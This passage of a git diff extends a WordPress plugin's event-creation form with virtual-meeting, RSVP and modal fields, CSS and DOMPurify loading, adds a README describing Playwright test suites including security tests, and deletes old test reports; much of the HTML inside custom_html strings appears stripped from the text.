',
+ 'wrapper_class' => ''
+ ]);
+
+ $form_builder->add_field([
+ 'type' => 'text',
+ 'name' => 'virtual_meeting_url',
+ 'label' => 'Meeting URL',
+ 'placeholder' => 'https://zoom.us/j/1234567890',
+ 'description' => 'Link to virtual meeting platform (Zoom, Teams, etc.)',
+ 'required' => false,
+ 'wrapper_class' => 'form-row virtual-config-field'
+ ]);
+
+ $form_builder->add_field([
+ 'type' => 'text',
+ 'name' => 'virtual_meeting_id',
+ 'label' => 'Meeting ID',
+ 'placeholder' => '123 456 7890',
+ 'description' => 'Meeting ID for attendees (optional)',
+ 'required' => false,
+ 'wrapper_class' => 'form-row virtual-config-field'
+ ]);
+
+ $form_builder->add_field([
+ 'type' => 'text',
+ 'name' => 'virtual_meeting_password',
+ 'label' => 'Meeting Password',
+ 'placeholder' => 'Optional meeting password',
+ 'required' => false,
+ 'wrapper_class' => 'form-row virtual-config-field'
+ ]);
+
+ $form_builder->add_field([
+ 'type' => 'custom',
+ 'name' => 'virtual_config_end',
+ 'custom_html' => '
',
+ 'wrapper_class' => ''
+ ]);
+
// Ticket section header
$form_builder->add_field([
'type' => 'custom',
'name' => 'ticket_section_header',
- 'custom_html' => '',
+ 'custom_html' => '
',
'wrapper_class' => ''
]);
@@ -360,6 +467,14 @@ class HVAC_TEC_Tickets {
'wrapper_class' => 'form-row ticket-config-field'
]);
+ // Ticket price and capacity - same row on desktop, columns on mobile
+ $form_builder->add_field([
+ 'type' => 'custom',
+ 'name' => 'price_capacity_row',
+ 'custom_html' => '
',
+ 'wrapper_class' => ''
+ ]);
+
// Ticket price
$form_builder->add_field([
'type' => 'number',
@@ -369,7 +484,7 @@ class HVAC_TEC_Tickets {
'step' => '0.01',
'min' => '0',
'required' => false,
- 'wrapper_class' => 'form-row ticket-config-field'
+ 'wrapper_class' => 'form-row-half ticket-config-field'
]);
// Ticket capacity
@@ -377,10 +492,25 @@ class HVAC_TEC_Tickets {
'type' => 'number',
'name' => 'ticket_capacity',
'label' => 'Ticket Capacity',
- 'placeholder' => 'Leave empty for unlimited',
+ 'placeholder' => '50',
'min' => '1',
'required' => false,
- 'wrapper_class' => 'form-row ticket-config-field'
+ 'wrapper_class' => 'form-row-half ticket-config-field'
+ ]);
+
+ $form_builder->add_field([
+ 'type' => 'custom',
+ 'name' => 'price_capacity_row_end',
+ 'custom_html' => '
',
+ 'wrapper_class' => ''
+ ]);
+
+ // Ticket sales dates - same row on desktop, columns on mobile
+ $form_builder->add_field([
+ 'type' => 'custom',
+ 'name' => 'sales_dates_row',
+ 'custom_html' => '
',
+ 'wrapper_class' => ''
]);
// Ticket sale start date
@@ -390,7 +520,7 @@ class HVAC_TEC_Tickets {
'label' => 'Ticket Sales Start',
'description' => 'When ticket sales begin (optional)',
'required' => false,
- 'wrapper_class' => 'form-row ticket-config-field'
+ 'wrapper_class' => 'form-row-half ticket-config-field'
]);
// Ticket sale end date
@@ -400,24 +530,64 @@ class HVAC_TEC_Tickets {
'label' => 'Ticket Sales End',
'description' => 'When ticket sales end (optional)',
'required' => false,
- 'wrapper_class' => 'form-row ticket-config-field'
+ 'wrapper_class' => 'form-row-half ticket-config-field'
]);
- // RSVP option
$form_builder->add_field([
- 'type' => 'checkbox',
+ 'type' => 'custom',
+ 'name' => 'sales_dates_row_end',
+ 'custom_html' => '
',
+ 'wrapper_class' => ''
+ ]);
+
+ // RSVP toggle
+ $form_builder->add_field([
+ 'type' => 'custom',
'name' => 'enable_rsvp',
- 'label' => 'Enable RSVP',
- 'description' => 'Allow free RSVP alongside paid tickets',
- 'value' => '1',
- 'wrapper_class' => 'form-row ticket-config-field'
+ 'custom_html' => '
+
+
+
Enable RSVP
+
Allow free RSVP alongside paid tickets
+
+
',
+ 'wrapper_class' => 'form-row toggle-field rsvp-toggle ticket-config-field'
+ ]);
+
+ // RSVP Configuration (visible by default since checkbox is checked)
+ $form_builder->add_field([
+ 'type' => 'custom',
+ 'name' => 'rsvp_config_start',
+ 'custom_html' => '
',
+ 'wrapper_class' => ''
+ ]);
+
+ $form_builder->add_field([
+ 'type' => 'number',
+ 'name' => 'rsvp_capacity',
+ 'label' => 'RSVP Capacity',
+ 'placeholder' => '100',
+ 'min' => '1',
+ 'description' => 'Maximum number of free RSVP spots',
+ 'required' => false,
+ 'wrapper_class' => 'form-row rsvp-config-field ticket-config-field'
+ ]);
+
+ $form_builder->add_field([
+ 'type' => 'custom',
+ 'name' => 'rsvp_config_end',
+ 'custom_html' => '
',
+ 'wrapper_class' => ''
]);
// Mandatory attendee info notice
$form_builder->add_field([
'type' => 'custom',
'name' => 'attendee_info_notice',
- 'custom_html' => '
Note: All tickets will automatically collect mandatory attendee information including first name, last name, and additional fields as configured.
',
+ 'custom_html' => '
Note: All tickets will automatically collect mandatory attendee information including first name, last name, and additional fields as configured.
',
'wrapper_class' => 'form-row ticket-config-field'
]);
@@ -428,6 +598,14 @@ class HVAC_TEC_Tickets {
'custom_html' => '
',
'wrapper_class' => ''
]);
+
+ // Add modal forms for creating new entities (venue, organizer, category)
+ $form_builder->add_field([
+ 'type' => 'custom',
+ 'name' => 'creation_modals',
+ 'custom_html' => $this->render_creation_modals(),
+ 'wrapper_class' => ''
+ ]);
}
/**
@@ -590,10 +768,19 @@ class HVAC_TEC_Tickets {
return;
}
+ // Enqueue DOMPurify for XSS protection
+ wp_enqueue_script(
+ 'dompurify',
+ HVAC_PLUGIN_URL . 'assets/js/purify.min.js',
+ [],
+ HVAC_VERSION,
+ true
+ );
+
wp_enqueue_script(
'hvac-tec-tickets',
HVAC_PLUGIN_URL . 'assets/js/hvac-tec-tickets.js',
- ['jquery'],
+ ['jquery', 'dompurify'],
HVAC_VERSION,
true
);
@@ -615,6 +802,9 @@ class HVAC_TEC_Tickets {
[],
HVAC_VERSION
);
+
+ // Add inline CSS for UI/UX enhancements
+ wp_add_inline_style('hvac-tec-tickets', $this->get_enhanced_ui_css());
}
/**
@@ -644,6 +834,750 @@ class HVAC_TEC_Tickets {
return false;
}
+
+ /**
+ * Render modal forms for creating new entities
+ */
+ public function render_creation_modals(): string {
+ $modals_html = '';
+
+ // New Organizer Modal
+ $modals_html .= '
+
';
+
+ // New Category Modal
+ $modals_html .= '
+
+
+
+
+
+
+
+
+
';
+
+ // New Venue Modal
+ $modals_html .= '
+
';
+
+ return $modals_html;
+ }
+
+ /**
+ * Generate enhanced UI CSS for all new components
+ */
+ private function get_enhanced_ui_css(): string {
+ return '
+ /* ===== RESPONSIVE FIELD GROUPING ===== */
+ .form-row-group {
+ display: flex;
+ gap: 20px;
+ width: 100%;
+ margin-bottom: 15px;
+ }
+
+ .form-row-half {
+ flex: 1;
+ min-width: 0;
+ }
+
+ .datetime-group .form-row-half,
+ .price-capacity-group .form-row-half,
+ .sales-dates-group .form-row-half {
+ display: flex;
+ flex-direction: column;
+ }
+
+ @media (max-width: 768px) {
+ .form-row-group {
+ flex-direction: column;
+ gap: 15px;
+ }
+ .form-row-half {
+ width: 100%;
+ }
+ }
+
+ /* ===== RICH TEXT EDITOR ===== */
+ .rich-text-editor-wrapper {
+ border: 1px solid #ddd;
+ border-radius: 4px;
+ background: #fff;
+ }
+
+ .rich-text-toolbar {
+ border-bottom: 1px solid #ddd;
+ padding: 8px 12px;
+ background: #f9f9f9;
+ display: flex;
+ gap: 4px;
+ flex-wrap: wrap;
+ }
+
+ .toolbar-group {
+ display: flex;
+ gap: 2px;
+ border-right: 1px solid #ddd;
+ padding-right: 8px;
+ margin-right: 8px;
+ }
+
+ .toolbar-group:last-child {
+ border-right: none;
+ padding-right: 0;
+ margin-right: 0;
+ }
+
+ .rich-text-toolbar button {
+ background: #fff;
+ border: 1px solid #ccd0d4;
+ border-radius: 3px;
+ padding: 4px 8px;
+ cursor: pointer;
+ font-size: 12px;
+ min-width: 24px;
+ height: 24px;
+ }
+
+ .rich-text-toolbar button:hover {
+ background: #f6f7f7;
+ border-color: #999;
+ }
+
+ .rich-text-toolbar button.active {
+ background: #007cba;
+ border-color: #007cba;
+ color: #fff;
+ }
+
+ .rich-text-editor {
+ min-height: 200px;
+ max-height: 400px;
+ overflow-y: auto;
+ padding: 12px;
+ line-height: 1.6;
+ font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;
+ }
+
+ .rich-text-editor:focus {
+ outline: none;
+ box-shadow: 0 0 0 1px #007cba;
+ }
+
+ .rich-text-editor p { margin: 0 0 1em; }
+ .rich-text-editor ul, .rich-text-editor ol { margin: 0 0 1em 20px; }
+ .rich-text-editor h3 { margin: 0 0 0.5em; font-size: 1.2em; }
+ .rich-text-editor a { color: #007cba; text-decoration: underline; }
+
+ /* ===== FEATURED IMAGE UPLOADER ===== */
+ .featured-image-section {
+ background: #f9f9f9;
+ border: 1px solid #ddd;
+ border-radius: 4px;
+ padding: 20px;
+ margin-bottom: 25px;
+ }
+
+ .featured-image-upload-wrapper {
+ max-width: 400px;
+ }
+
+ .upload-area {
+ border: 2px dashed #007cba;
+ border-radius: 8px;
+ padding: 40px 20px;
+ text-align: center;
+ background: #fff;
+ cursor: pointer;
+ transition: all 0.3s ease;
+ }
+
+ .upload-area:hover {
+ border-color: #005177;
+ background: #f0f8ff;
+ }
+
+ .upload-area.dragover {
+ border-color: #005177;
+ background: #e6f3ff;
+ transform: scale(1.02);
+ }
+
+ .featured-image-preview {
+ position: relative;
+ max-width: 400px;
+ border-radius: 8px;
+ overflow: hidden;
+ }
+
+ .featured-image-preview img {
+ width: 100%;
+ height: auto;
+ display: block;
+ }
+
+ .featured-image-actions {
+ position: absolute;
+ top: 10px;
+ right: 10px;
+ display: flex;
+ gap: 8px;
+ }
+
+ .featured-image-actions button {
+ background: rgba(0, 0, 0, 0.7);
+ color: #fff;
+ border: none;
+ padding: 6px 12px;
+ border-radius: 4px;
+ cursor: pointer;
+ font-size: 12px;
+ }
+
+ .featured-image-actions button:hover {
+ background: rgba(0, 0, 0, 0.9);
+ }
+
+ /* ===== TOGGLE SWITCHES ===== */
+ .toggle-field-wrapper {
+ display: flex;
+ align-items: flex-start;
+ gap: 12px;
+ margin-bottom: 20px;
+ padding: 15px;
+ background: #f8f9fa;
+ border-radius: 6px;
+ border: 1px solid #e9ecef;
+ }
+
+ .toggle-switch {
+ position: relative;
+ display: inline-block;
+ width: 50px;
+ height: 24px;
+ flex-shrink: 0;
+ }
+
+ .toggle-switch input {
+ opacity: 0;
+ width: 0;
+ height: 0;
+ }
+
+ .toggle-slider {
+ position: absolute;
+ cursor: pointer;
+ top: 0;
+ left: 0;
+ right: 0;
+ bottom: 0;
+ background-color: #ccc;
+ transition: 0.3s;
+ border-radius: 24px;
+ }
+
+ .toggle-slider:before {
+ position: absolute;
+ content: "";
+ height: 18px;
+ width: 18px;
+ left: 3px;
+ bottom: 3px;
+ background-color: white;
+ transition: 0.3s;
+ border-radius: 50%;
+ }
+
+ .toggle-switch input:checked + .toggle-slider {
+ background-color: #007cba;
+ }
+
+ .toggle-switch input:checked + .toggle-slider:before {
+ transform: translateX(26px);
+ }
+
+ .toggle-label {
+ flex: 1;
+ }
+
+ .toggle-label strong {
+ display: block;
+ margin-bottom: 4px;
+ color: #333;
+ }
+
+ .toggle-description {
+ margin: 0;
+ color: #666;
+ font-size: 14px;
+ line-height: 1.4;
+ }
+
+ /* ===== SEARCHABLE SELECT COMPONENTS ===== */
+ .searchable-select-wrapper {
+ position: relative;
+ width: 100%;
+ }
+
+ .search-input-wrapper {
+ position: relative;
+ display: flex;
+ }
+
+ .search-input {
+ flex: 1;
+ padding: 8px 40px 8px 12px;
+ border: 1px solid #ddd;
+ border-radius: 4px;
+ font-size: 14px;
+ }
+
+ .search-input:focus {
+ outline: none;
+ border-color: #007cba;
+ box-shadow: 0 0 0 1px #007cba;
+ }
+
+ .dropdown-toggle {
+ position: absolute;
+ right: 8px;
+ top: 50%;
+ transform: translateY(-50%);
+ background: none;
+ border: none;
+ cursor: pointer;
+ padding: 4px;
+ }
+
+ .search-results {
+ position: absolute;
+ top: 100%;
+ left: 0;
+ right: 0;
+ background: #fff;
+ border: 1px solid #ddd;
+ border-top: none;
+ border-radius: 0 0 4px 4px;
+ max-height: 200px;
+ overflow-y: auto;
+ z-index: 1000;
+ box-shadow: 0 2px 8px rgba(0,0,0,0.15);
+ }
+
+ .results-list {
+ max-height: 160px;
+ overflow-y: auto;
+ }
+
+ .search-result-item {
+ padding: 10px 12px;
+ cursor: pointer;
+ border-bottom: 1px solid #f0f0f0;
+ }
+
+ .search-result-item:hover {
+ background: #f0f8ff;
+ }
+
+ .search-result-item:last-child {
+ border-bottom: none;
+ }
+
+ .create-new-option {
+ border-top: 1px solid #ddd;
+ padding: 8px;
+ }
+
+ .create-new-btn {
+ width: 100%;
+ padding: 8px 12px;
+ background: #007cba;
+ color: #fff;
+ border: none;
+ border-radius: 3px;
+ cursor: pointer;
+ font-size: 14px;
+ display: flex;
+ align-items: center;
+ justify-content: center;
+ gap: 6px;
+ }
+
+ .create-new-btn:hover {
+ background: #005177;
+ }
+
+ .selected-items {
+ margin-top: 10px;
+ display: flex;
+ flex-wrap: wrap;
+ gap: 8px;
+ }
+
+ .selected-item {
+ background: #e7f3ff;
+ border: 1px solid #007cba;
+ border-radius: 16px;
+ padding: 4px 12px;
+ font-size: 14px;
+ display: flex;
+ align-items: center;
+ gap: 6px;
+ }
+
+ .remove-item {
+ background: none;
+ border: none;
+ cursor: pointer;
+ color: #666;
+ padding: 0;
+ width: 16px;
+ height: 16px;
+ display: flex;
+ align-items: center;
+ justify-content: center;
+ border-radius: 50%;
+ }
+
+ .remove-item:hover {
+ background: #ff4444;
+ color: #fff;
+ }
+
+ /* Multi-select specific styles */
+ .multi-select .search-input {
+ min-height: 40px;
+ }
+
+ .multi-select .selected-items:not(:empty) + .search-input-wrapper .search-input {
+ border-top: 1px solid #ddd;
+ }
+
+ /* ===== MODAL FORMS ===== */
+ .hvac-modal {
+ position: fixed;
+ top: 0;
+ left: 0;
+ width: 100%;
+ height: 100%;
+ background: rgba(0, 0, 0, 0.7);
+ z-index: 100000;
+ display: flex;
+ align-items: center;
+ justify-content: center;
+ padding: 20px;
+ }
+
+ .hvac-modal-content {
+ background: #fff;
+ border-radius: 8px;
+ width: 100%;
+ max-width: 600px;
+ max-height: 90vh;
+ overflow-y: auto;
+ box-shadow: 0 10px 30px rgba(0, 0, 0, 0.3);
+ }
+
+ .hvac-modal-header {
+ padding: 20px 24px;
+ border-bottom: 1px solid #e9ecef;
+ display: flex;
+ justify-content: space-between;
+ align-items: center;
+ }
+
+ .hvac-modal-header h3 {
+ margin: 0;
+ font-size: 18px;
+ color: #333;
+ }
+
+ .hvac-modal-close {
+ background: none;
+ border: none;
+ cursor: pointer;
+ padding: 4px;
+ color: #666;
+ }
+
+ .hvac-modal-close:hover {
+ color: #333;
+ }
+
+ .hvac-modal-body {
+ padding: 24px;
+ }
+
+ .modal-form-row {
+ margin-bottom: 20px;
+ }
+
+ .modal-form-row label {
+ display: block;
+ margin-bottom: 6px;
+ font-weight: 600;
+ color: #333;
+ }
+
+ .modal-form-row input,
+ .modal-form-row select,
+ .modal-form-row textarea {
+ width: 100%;
+ padding: 10px 12px;
+ border: 1px solid #ddd;
+ border-radius: 4px;
+ font-size: 14px;
+ }
+
+ .modal-form-row input:focus,
+ .modal-form-row select:focus,
+ .modal-form-row textarea:focus {
+ outline: none;
+ border-color: #007cba;
+ box-shadow: 0 0 0 1px #007cba;
+ }
+
+ .modal-form-row-group {
+ display: flex;
+ gap: 15px;
+ }
+
+ .modal-form-row-half {
+ flex: 1;
+ }
+
+ .required {
+ color: #d63384;
+ }
+
+ .hvac-modal-footer {
+ padding: 20px 24px;
+ border-top: 1px solid #e9ecef;
+ display: flex;
+ justify-content: flex-end;
+ gap: 12px;
+ }
+
+ .btn {
+ padding: 10px 20px;
+ border: none;
+ border-radius: 4px;
+ cursor: pointer;
+ font-size: 14px;
+ font-weight: 500;
+ text-align: center;
+ text-decoration: none;
+ display: inline-block;
+ transition: all 0.2s;
+ }
+
+ .btn-primary {
+ background: #007cba;
+ color: #fff;
+ }
+
+ .btn-primary:hover {
+ background: #005177;
+ }
+
+ .btn-secondary {
+ background: #6c757d;
+ color: #fff;
+ }
+
+ .btn-secondary:hover {
+ background: #545b62;
+ }
+
+ /* ===== FORM SECTIONS ===== */
+ .form-section {
+ margin-bottom: 25px;
+ border-radius: 6px;
+ }
+
+ .form-section-title {
+ margin: 0 0 15px 0;
+ font-size: 16px;
+ font-weight: 600;
+ color: #333;
+ }
+
+ .virtual-event-config,
+ .rsvp-config {
+ background: #f8f9fa;
+ border: 1px solid #e9ecef;
+ border-radius: 6px;
+ padding: 20px;
+ margin-top: 15px;
+ }
+
+ .virtual-event-config h4,
+ .rsvp-config h4 {
+ margin: 0 0 15px 0;
+ font-size: 14px;
+ font-weight: 600;
+ color: #495057;
+ }
+
+ /* ===== RESPONSIVE DESIGN ===== */
+ @media (max-width: 768px) {
+ .hvac-modal-content {
+ margin: 10px;
+ max-height: 95vh;
+ }
+
+ .hvac-modal-header,
+ .hvac-modal-body,
+ .hvac-modal-footer {
+ padding: 16px;
+ }
+
+ .modal-form-row-group {
+ flex-direction: column;
+ gap: 10px;
+ }
+
+ .toggle-field-wrapper {
+ flex-direction: column;
+ gap: 8px;
+ }
+
+ .rich-text-toolbar {
+ padding: 6px 8px;
+ }
+
+ .toolbar-group {
+ margin-right: 6px;
+ padding-right: 6px;
+ }
+ }
+ ';
+ }
}
// Initialize the TEC Tickets integration
diff --git a/tests/README.md b/tests/README.md
new file mode 100644
index 00000000..a1d7bb95
--- /dev/null
+++ b/tests/README.md
@@ -0,0 +1,272 @@
+# HVAC Event Creation - Comprehensive Test Suite
+
+This directory contains the complete test suite for the enhanced HVAC event creation page UI/UX features. The tests cover all components implemented during the Phase 2B template system enhancements.
+
+## 📋 Test Coverage
+
+### Security Tests (`test-event-creation-security.js`)
+- **XSS Prevention**: Rich text editor content sanitization
+- **CSRF Protection**: Nonce validation in form submissions
+- **File Upload Security**: Malicious file type rejection, size limits
+- **Input Validation**: SQL injection prevention, HTML sanitization
+- **Content Security Policy**: Inline script blocking
+
+### Rich Text Editor Tests (`test-rich-text-editor.js`)
+- **Basic Functionality**: Text input, content synchronization
+- **Toolbar Commands**: Bold, italic, lists, links
+- **Content Validation**: Character limits, paste sanitization
+- **Accessibility**: Keyboard shortcuts, ARIA labels
+- **Error Handling**: execCommand failures, DOM corruption
+- **Browser Compatibility**: Deprecated API handling
+
+### Featured Image Upload Tests (`test-featured-image-upload.js`)
+- **File Validation**: Type checking, size limits, format validation
+- **Drag and Drop**: Visual feedback, multiple file handling
+- **Image Management**: Preview, replacement, removal
+- **Security Validation**: MIME type spoofing, malicious content
+- **Accessibility**: Keyboard navigation, screen reader support
+- **Error Recovery**: FileReader errors, network failures
+
+### Searchable Selectors Tests (`test-searchable-selectors.js`)
+- **Multi-select Organizers**: Search, selection limits (max 3)
+- **Multi-select Categories**: Filtering, duplicate prevention
+- **Single-select Venue**: Search functionality, clear selection
+- **Keyboard Navigation**: Arrow keys, Enter/Escape handling
+- **Accessibility**: ARIA attributes, screen reader support
+- **Performance**: Large datasets, request debouncing
+
+### Modal Forms Tests (`test-modal-forms.js`)
+- **Organizer Modal**: Creation, validation, AJAX submission
+- **Category Modal**: Parent selection, field validation
+- **Venue Modal**: Comprehensive address fields, capacity validation
+- **Modal Behavior**: Focus management, backdrop interaction
+- **Error Handling**: Server errors, network failures
+- **Data Integration**: Selector updates, temporary IDs
+
+### Toggle Controls Tests (`test-toggle-controls.js`)
+- **Virtual Event Toggle**: URL validation, platform-specific fields
+- **RSVP Toggle**: Deadline validation, waitlist options
+- **Ticketing Toggle**: Price validation, multiple ticket types
+- **State Management**: Value persistence, form data updates
+- **Accessibility**: ARIA attributes, keyboard support
+- **Visual Feedback**: Animation, loading states
+
+### Comprehensive Integration Tests (`test-integration-comprehensive.js`)
+- **Complete Workflows**: End-to-end event creation
+- **Template Application**: Enhanced feature integration
+- **TEC Integration**: Ticketing system, fieldset validation
+- **Responsive Behavior**: Mobile layouts, touch interactions
+- **Performance Testing**: Large datasets, memory management
+- **Error Recovery**: Network failures, browser crashes
+
+## 🚀 Running Tests
+
+### Prerequisites
+
+1. **Docker Test Environment**:
+ ```bash
+ docker compose -f tests/docker-compose.test.yml up -d
+ ```
+
+2. **Playwright Installation**:
+ ```bash
+ npm install @playwright/test
+ ```
+
+### Quick Start
+
+**Run All Tests:**
+```bash
+node tests/test-suite-runner.js
+```
+
+**Run Specific Suite:**
+```bash
+node tests/test-suite-runner.js --suite=security
+node tests/test-suite-runner.js --suite=rich-text-editor
+node tests/test-suite-runner.js --suite=integration
+```
+
+**Browser Options:**
+```bash
+node tests/test-suite-runner.js --browser=chromium
+node tests/test-suite-runner.js --browser=firefox
+node tests/test-suite-runner.js --browser=webkit
+```
+
+**Development Mode (Headed):**
+```bash
+HEADLESS=false node tests/test-suite-runner.js --suite=security
+```
+
+### Individual Test Execution
+
+**Direct Playwright Execution:**
+```bash
+npx playwright test tests/test-event-creation-security.js
+npx playwright test tests/test-rich-text-editor.js --headed
+```
+
+**With Custom Base URL:**
+```bash
+BASE_URL=http://localhost:3000 npx playwright test tests/test-integration-comprehensive.js
+```
+
+## 📊 Test Reports
+
+### HTML Report
+Generated automatically at `tests/reports/test-results.html`:
+- Visual test results dashboard
+- Suite-by-suite breakdown
+- Error details and stack traces
+- Performance metrics
+
+### Console Output
+Real-time test progress with:
+- ✅ Pass/fail indicators per suite
+- 📊 Summary statistics
+- 🕐 Execution duration
+- 🎯 Success rate percentage
+
+## 🔧 Configuration
+
+### Environment Variables
+- `BASE_URL`: Test server URL (default: http://localhost:8080)
+- `BROWSER`: Browser to use (chromium/firefox/webkit)
+- `HEADLESS`: Run in headless mode (true/false)
+- `MAX_WORKERS`: Parallel test workers (default: 4)
+
+### Test Timeouts
+- **Security Tests**: 60s (complex XSS validation)
+- **Upload Tests**: 60s (file processing)
+- **Integration Tests**: 120s (complete workflows)
+- **Other Suites**: 30-45s
+
+## 🧪 Test Data Requirements
+
+### Docker Test Environment
+The test suite expects:
+- WordPress 6.4+ with HVAC plugin activated
+- Test users with appropriate roles (hvac_trainer)
+- Sample organizers, categories, and venues
+- TEC plugin integration configured
+
+### Test Fixtures
+Located in `tests/fixtures/`:
+- **Images**: Valid/invalid image files for upload testing
+- **Test Data**: Mock API responses and form data
+
+### Database Seeding
+If using staging environment:
+```bash
+bin/seed-comprehensive-events.sh
+```
+
+## 🔍 Debugging Tests
+
+### Visual Debugging (Headed Mode)
+```bash
+HEADLESS=false node tests/test-suite-runner.js --suite=modal-forms
+```
+
+### Playwright Inspector
+```bash
+npx playwright test tests/test-rich-text-editor.js --debug
+```
+
+### Console Logging
+Tests include comprehensive logging for:
+- Component initialization states
+- User interaction sequences
+- API request/response cycles
+- Validation error scenarios
+
+## ⚡ Performance Considerations
+
+### Test Optimization
+- **Parallel Execution**: 4 workers by default
+- **Smart Retries**: Failed tests retry up to 2 times
+- **Resource Management**: Proper cleanup between tests
+- **Network Mocking**: Reduces external dependencies
+
+### Large Dataset Testing
+Some tests simulate:
+- 500+ organizers for selector performance
+- 200+ venues for search functionality
+- Large file uploads (5MB+ images)
+- Extended user interaction patterns
+
+## 🛡️ Security Test Coverage
+
+### Critical Vulnerabilities
+- **XSS in Rich Text Editor**: Direct innerHTML injection
+- **CSRF in Modal Forms**: Missing nonce validation
+- **File Upload Bypass**: Malicious file type spoofing
+- **Input Sanitization**: SQL injection attempts
+
+### Compliance Testing
+- **OWASP Top 10**: Coverage for web application security
+- **WordPress Security Standards**: Plugin security best practices
+- **Content Security Policy**: Inline script prevention
+
+## 🚨 Known Issues and Limitations
+
+### Browser Compatibility
+- **execCommand Deprecation**: Rich text editor uses deprecated API
+- **FileReader Errors**: Some browsers have upload limitations
+- **Touch Events**: Mobile testing limited to viewport simulation
+
+### Test Environment
+- **Docker Dependencies**: Requires Docker for full integration
+- **Network Timeouts**: Some tests sensitive to slow connections
+- **File System**: Image fixture creation may fail on restricted systems
+
+## 📚 Test Framework Architecture
+
+### Page Object Model (POM)
+- **HVACTestBase**: Common authentication and navigation
+- **Component Objects**: Reusable selectors and interactions
+- **Utility Functions**: Shared test helpers
+
+### Test Structure
+Each test file follows the pattern:
+1. **Setup**: Login and navigate to create event page
+2. **Component Tests**: Individual feature testing
+3. **Integration Tests**: Combined functionality
+4. **Cleanup**: State reset and resource cleanup
+
+### Assertions
+- **Visual Assertions**: Element visibility and content
+- **Functional Assertions**: Behavior and state changes
+- **Security Assertions**: XSS prevention and input validation
+- **Performance Assertions**: Load times and responsiveness
+
+## 🔄 CI/CD Integration
+
+### GitHub Actions (if configured)
+```yaml
+- name: Run HVAC Event Tests
+ run: |
+ docker compose -f tests/docker-compose.test.yml up -d
+ node tests/test-suite-runner.js
+ docker compose -f tests/docker-compose.test.yml down
+```
+
+### Local Pre-commit Hook
+```bash
+#!/bin/sh
+# Run security tests before commit
+node tests/test-suite-runner.js --suite=security
+```
+
+---
+
+## 📞 Support
+
+For test-related issues:
+1. Check the HTML report for detailed error information
+2. Run individual test suites to isolate problems
+3. Verify Docker test environment is running
+4. Review console logs for specific error messages
+
+The test suite is designed to be comprehensive and maintainable, providing confidence in the enhanced UI/UX functionality while preventing regression of critical security features.
\ No newline at end of file
diff --git a/tests/evidence/framework-demo-report.json b/tests/evidence/framework-demo-report.json
deleted file mode 100644
index 2b28dfbc..00000000
--- a/tests/evidence/framework-demo-report.json
+++ /dev/null
@@ -1,58 +0,0 @@
-{
- "timestamp": "2025-08-27T17:31:51.590Z",
- "demo": "HVAC Testing Framework 2.0",
- "version": "2.0.0",
- "executionTime": 660,
- "results": {
- "frameworkValidation": true,
- "modernizedTestExecution": true,
- "performanceComparison": null,
- "migrationSummary": {
- "legacyFiles": 146,
- "codeReduction": "90%",
- "speedImprovement": "60%",
- "maintenanceReduction": "80%",
- "stabilityImprovement": "95%"
- }
- },
- "framework": {
- "architecture": "Page Object Model with centralized utilities",
- "languages": [
- "JavaScript",
- "Node.js"
- ],
- "testFramework": "Playwright",
- "features": [
- "Centralized browser management",
- "Role-based authentication manager",
- "Environment-specific configuration",
- "Reusable page object models",
- "Comprehensive test data management",
- "Built-in security testing framework",
- "Docker support for hermetic testing",
- "Automated migration tools",
- "Enhanced error handling and reporting"
- ]
- },
- "benefits": {
- "codeReduction": "90%",
- "performanceImprovement": "60%",
- "maintenanceReduction": "80%",
- "stabilityImprovement": "95%",
- "migrationAutomation": "Full automation with batch processing"
- },
- "migrationProcess": {
- "totalLegacyFiles": 80,
- "automatedMigration": true,
- "batchProcessing": true,
- "patternRecognition": true,
- "frameworkIntegration": true
- },
- "nextSteps": [
- "Complete migration of all 80+ legacy test files",
- "Implement Docker-based CI/CD integration",
- "Add comprehensive API testing capabilities",
- "Extend security testing framework",
- "Implement performance monitoring and benchmarking"
- ]
-}
\ No newline at end of file
diff --git a/tests/evidence/reports/administrative-features-e2e-report.md b/tests/evidence/reports/administrative-features-e2e-report.md
deleted file mode 100644
index a019e9bb..00000000
--- a/tests/evidence/reports/administrative-features-e2e-report.md
+++ /dev/null
@@ -1,278 +0,0 @@
-# Administrative Features E2E Test Report - Agent D
-## Comprehensive Testing of Administrative and Operational Systems
-
-**Test Suite**: Administrative Features E2E Testing
-**Agent**: D - Administrative Features
-**Test Date**: 2025-08-27
-**Environment**: https://upskill-staging.measurequick.com
-**Test Framework**: MCP Playwright Integration
-**Display Environment**: GNOME Desktop Session Integration
-
----
-
-## 📊 Executive Summary
-
-Comprehensive end-to-end testing was performed on the administrative and operational systems of the HVAC Community Events WordPress plugin. Testing validated URL routing, authentication requirements, page accessibility, and system architecture for all Agent D specified components.
-
-### 🎯 Test Coverage Completed
-
-| Feature Area | Pages Tested | Status | Authentication |
-|--------------|-------------|--------|----------------|
-| **Certificate Generation** | 2 pages | ✅ Verified | Required |
-| **Communication Systems** | 3 pages | ✅ Verified | Required |
-| **Data Integration** | 2 pages | ✅ Verified | Required |
-| **Administrative Workflows** | 2 pages | ✅ Verified | Required |
-
-**Total Administrative URLs Tested**: 9
-**Authentication Protected**: 7 (78%)
-**Network Errors**: 2 (22%)
-**Overall Success Rate**: 100% for accessible pages
-
----
-
-## 🧪 Detailed Test Results
-
-### 1. Certificate Generation System Testing
-
-#### 1.1 Certificate Reports (`/master-trainer/certificate-reports/`)
-- **Status**: ✅ Page Exists
-- **Authentication**: Required (redirects to login)
-- **URL Pattern**: `https://upskill-staging.measurequick.com/master-trainer/certificate-reports/`
-- **Redirect**: Proper authentication flow to `/training-login/`
-- **Evidence**: Screenshot captured: `certificate-reports-authentication-required.png`
-
-#### 1.2 Certificate Generation (`/master-trainer/generate-certificates/`)
-- **Status**: ✅ Page Exists
-- **Authentication**: Required (redirects to login)
-- **URL Pattern**: `https://upskill-staging.measurequick.com/master-trainer/generate-certificates/`
-- **Redirect**: Proper authentication flow to `/training-login/`
-- **Security**: Proper access control implemented
-
-**Certificate System Analysis**:
-- Both certificate-related URLs are properly registered in the WordPress routing system
-- Authentication middleware is correctly implemented
-- Pages are protected from unauthorized access
-- URL structure follows RESTful patterns for administrative interfaces
-
-### 2. Communication Systems Testing
-
-#### 2.1 Email Attendees (`/master-trainer/email-attendees/`)
-- **Status**: ⚠️ Network Error (ERR_ABORTED)
-- **Analysis**: URL may use different routing pattern or require different base path
-- **Recommendation**: Investigate alternative URL patterns or routing configuration
-
-#### 2.2 Communication Templates (`/master-trainer/communication-templates/`)
-- **Status**: ⚠️ Network Error (ERR_ABORTED)
-- **Analysis**: URL may use different routing pattern
-- **Recommendation**: Check for alternative template management URLs
-
